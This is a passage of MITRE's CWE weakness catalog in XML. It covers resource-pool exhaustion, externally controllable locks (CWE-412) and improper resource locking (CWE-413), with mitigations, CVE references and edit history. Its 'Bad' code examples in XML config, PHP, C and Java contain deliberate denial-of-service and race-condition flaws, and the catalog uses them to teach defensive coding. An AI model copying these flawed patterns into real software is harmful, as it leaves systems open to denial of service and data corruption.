               <Description>Consider implementing a velocity check mechanism which would detect abusive behavior.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Operation</Phase>
               <Description>Consider load balancing as an option to handle heavy loads.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Make sure that resource handles are properly closed when no longer needed.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Identify the system's resource intensive operations and consider protecting them from abuse (e.g. malicious automated script which runs the resources out).</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following snippet from a Tomcat configuration file, a JDBC connection pool is defined with a maximum of 5 simultaneous connections (with a 60 second timeout). In this case, it may be trivial for an attacker to instigate a denial of service (DoS) by using up all of the available connections in the pool.</Intro_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;Resource name="jdbc/exampledb"<xhtml:br/>auth="Container"<xhtml:br/>type="javax.sql.DataSource"<xhtml:br/>removeAbandoned="true"<xhtml:br/>removeAbandonedTimeout="30"<xhtml:br/>maxActive="5"<xhtml:br/>maxIdle="5"<xhtml:br/>maxWait="60000"<xhtml:br/>username="testuser"<xhtml:br/>password="testpass"<xhtml:br/>driverClassName="com.mysql.jdbc.Driver"<xhtml:br/>url="jdbc:mysql://localhost/exampledb"/&gt;</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1363</Reference>
               <Description>Large number of locks on file exhausts the pool and causes crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1363</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1340</Reference>
               <Description>Product supports only one connection and does not disconnect a user who does not provide credentials.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1340</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0406</Reference>
               <Description>Large number of connections without providing credentials allows connection exhaustion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0406</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Insufficient Resource Pool</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>TPS00-J</Entry_ID>
               <Entry_Name>Use thread pools to enable graceful degradation of service during traffic bursts</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 17, &#34;Protecting Against Denial of Service Attacks&#34; Page 517"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Functional_Areas, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="412" Name="Unrestricted Externally Accessible Lock" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.</Description>
         <Extended_Description>This prevents the product from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="667" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="410" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Note>When an attacker can control a lock, the program may wait indefinitely until the attacker releases the lock, causing a denial of service to other users of the program. This is especially problematic if there is a blocking operation on the lock.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>White Box</Method>
               <Description>Automated code analysis techniques might not be able to reliably detect this weakness, since the application's behavior and general security model dictate which resource locks are critical. Interpretation of the weakness might require knowledge of the environment, e.g. if the existence of a file is used as a lock, but the file is created in a world-writable directory.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Use any access control that is offered by the functionality that is offering the lock.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Use unpredictable names or identifiers for the locks. This might not always be possible or feasible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Consider modifying your code to use non-blocking synchronization methods.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-69">
               <Intro_Text>This code tries to obtain a lock for a file, then writes to it.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function writeToLog($message){<xhtml:div style="margin-left:1em;">$logfile = fopen("logFile.log", "a");<xhtml:br/>
                        <xhtml:i>//attempt to get logfile lock</xhtml:i>
                        <xhtml:br/>if (flock($logfile, LOCK_EX)) {<xhtml:div style="margin-left:1em;">fwrite($logfile,$message);<xhtml:br/>
                           <xhtml:i>// unlock logfile</xhtml:i>
                           <xhtml:br/>flock($logfile, LOCK_UN);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">print "Could not obtain lock on logFile.log, message not recorded\n";</xhtml:div>}</xhtml:div>}<xhtml:br/>fclose($logFile);</xhtml:div>
               </Example_Code>
               <Body_Text>PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-0682</Reference>
               <Description>Program can not execute when attacker obtains a mutex.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0682</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1914</Reference>
               <Description>Program can not execute when attacker obtains a lock on a critical output file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1914</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1915</Reference>
               <Description>Program can not execute when attacker obtains a lock on a critical output file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1915</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0051</Reference>
               <Description>Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0051</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0338</Reference>
               <Description>Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0338</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1198</Reference>
               <Description>Chain: Lock files with predictable names. Resultant from randomness.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1198</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1869</Reference>
               <Description>Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1869</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unrestricted Critical Resource Lock</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Deadlock</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>LCK00-J</Entry_ID>
               <Entry_Name>Use private final lock objects to synchronize classes that may interact with untrusted code</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>LCK07-J</Entry_ID>
               <Entry_Name>Avoid deadlock by requesting and releasing locks in the same order</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP22</Entry_ID>
               <Entry_Name>Unrestricted lock</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="25"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">This overlaps Insufficient Resource Pool when the "pool" is of size 1. It can also be resultant from race conditions, although the timing window could be quite large in some cases.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Detection_Factors, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>Suggested a better name and the minimal relationship with resources regardless of their criticality.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Added a White_Box_Definition and clarified the consequences.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Name, Potential_Mitigations, White_Box_Definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
               <Contribution_Organization>KDM Analytics</Contribution_Organization>
               <Contribution_Date>2008-08-29</Contribution_Date>
               <Contribution_Comment>suggested clarification of description and observed examples, which were vague and inconsistent.</Contribution_Comment>
            </Contribution>
            <Previous_Entry_Name Date="2008-04-11">Unrestricted Critical Resource Lock</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-07-27">Unrestricted Lock on Critical Resource</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="413" Name="Improper Resource Locking" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not lock or does not correctly lock a resource when the product must have exclusive access to the resource.</Description>
         <Extended_Description>When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the product. This might violate the product's assumption that the resource will not change, potentially leading to unexpected behaviors.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="667" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>DoS: Instability</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use a non-conflicting privilege scheme.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Use synchronization when locking a resource.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-24">
               <Intro_Text>The following function attempts to acquire a lock in order to perform operations on a shared resource.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void f(pthread_mutex_t *mutex) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>pthread_mutex_lock(mutex);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* access shared resource */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:br/>pthread_mutex_unlock(mutex);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.</Body_Text>
               <Body_Text>In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>int f(pthread_mutex_t *mutex) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int result;<xhtml:br/>
                           <xhtml:br/>result = pthread_mutex_lock(mutex);<xhtml:br/>if (0 != result)<xhtml:div style="margin-left:1em;">return result;</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* access shared resource */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:br/>return pthread_mutex_unlock(mutex);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This Java example shows a simple BankAccount class with deposit and withdraw methods.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class BankAccount {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// variable for bank account balance</xhtml:i>
                           <xhtml:br/>private double accountBalance;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// constructor for BankAccount</xhtml:i>
                           <xhtml:br/>public BankAccount() {<xhtml:div style="margin-left:1em;">accountBalance = 0;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// method to deposit amount into BankAccount</xhtml:i>
                           <xhtml:br/>public void deposit(double depositAmount) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>double newBalance = accountBalance + depositAmount;<xhtml:br/>accountBalance = newBalance;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// method to withdraw amount from BankAccount</xhtml:i>
                           <xhtml:br/>public void withdraw(double withdrawAmount) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>double newBalance = accountBalance - withdrawAmount;<xhtml:br/>accountBalance = newBalance;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// other methods for accessing the BankAccount object</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the deposit and withdraw methods have shared access to the account balance private class variable. This can result in a race condition if multiple threads attempt to call the deposit and withdraw methods simultaneously where the account balance is modified by one thread before another thread has completed modifying the account balance. For example, if a thread attempts to withdraw funds using the withdraw method before another thread that is depositing funds using the deposit method completes the deposit then there may not be sufficient funds for the withdraw transaction.</Body_Text>
               <Body_Text>To prevent multiple threads from having simultaneous access to the account balance variable the deposit and withdraw methods should be synchronized using the synchronized modifier.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class BankAccount {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>
                           <xhtml:i>// synchronized method to deposit amount into BankAccount</xhtml:i>
                           <xhtml:br/>public synchronized void deposit(double depositAmount) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// synchronized method to withdraw amount from BankAccount</xhtml:i>
                           <xhtml:br/>public synchronized void withdraw(double withdrawAmount) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>An alternative solution is to use a lock object to ensure exclusive access to the bank account balance variable. As shown below, the deposit and withdraw methods use the lock object to set a lock to block access to the BankAccount object from other threads until the method has completed updating the bank account balance variable.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class BankAccount {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>...<xhtml:br/>
                           <xhtml:i>// lock object for thread access to methods</xhtml:i>
                           <xhtml:br/>private ReentrantLock balanceChangeLock;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// condition object to temporarily release lock to other threads</xhtml:i>
                           <xhtml:br/>private Condition sufficientFundsCondition;<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// method to deposit amount into BankAccount</xhtml:i>
                           <xhtml:br/>public void deposit(double amount) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// set lock to block access to BankAccount from other threads</xhtml:i>
                                 <xhtml:br/>balanceChangeLock.lock();<xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>double newBalance = balance + amount;<xhtml:br/>balance = newBalance;<xhtml:br/>
                                       <xhtml:br/>
                                       <xhtml:i>// inform other threads that funds are available</xhtml:i>
                                       <xhtml:br/>sufficientFundsCondition.signalAll();<xhtml:br/>
                                    </xhtml:div>
                                 </xhtml:div>} catch (Exception e) {...}<xhtml:br/>finally {<xhtml:div style="margin-left:1em;">// unlock lock object<xhtml:br/>balanceChangeLock.unlock();</xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// method to withdraw amount from bank account</xhtml:i>
                           <xhtml:br/>public void withdraw(double amount) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// set lock to block access to BankAccount from other threads</xhtml:i>
                                 <xhtml:br/>balanceChangeLock.lock();<xhtml:br/>try {<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>while (balance &lt; amount) {<xhtml:div style="margin-left:1em;">
                                          <xhtml:div>
                                             <xhtml:br/>
                                             <xhtml:i>// temporarily unblock access</xhtml:i>
                                             <xhtml:br/>
                                             <xhtml:br/>
                                             <xhtml:i>// until sufficient funds are available</xhtml:i>
                                             <xhtml:br/>sufficientFundsCondition.await();</xhtml:div>
                                       </xhtml:div>}<xhtml:br/>double newBalance = balance - amount;<xhtml:br/>balance = newBalance;<xhtml:br/>
                                    </xhtml:div>
                                 </xhtml:div>} catch (Exception e) {...}<xhtml:br/>finally {<xhtml:div style="margin-left:1em;">// unlock lock object<xhtml:br/>balanceChangeLock.unlock();</xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Insufficient Resource Locking</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>VNA00-J</Entry_ID>
               <Entry_Name>Ensure visibility when accessing shared primitive variables</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>VNA02-J</Entry_ID>
               <Entry_Name>Ensure that compound operations on shared variables are atomic</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>LCK00-J</Entry_ID>
               <Entry_Name>Use private final lock objects to synchronize classes that may interact with untrusted code</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP19</Entry_ID>
               <Entry_Name>Missing Lock</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
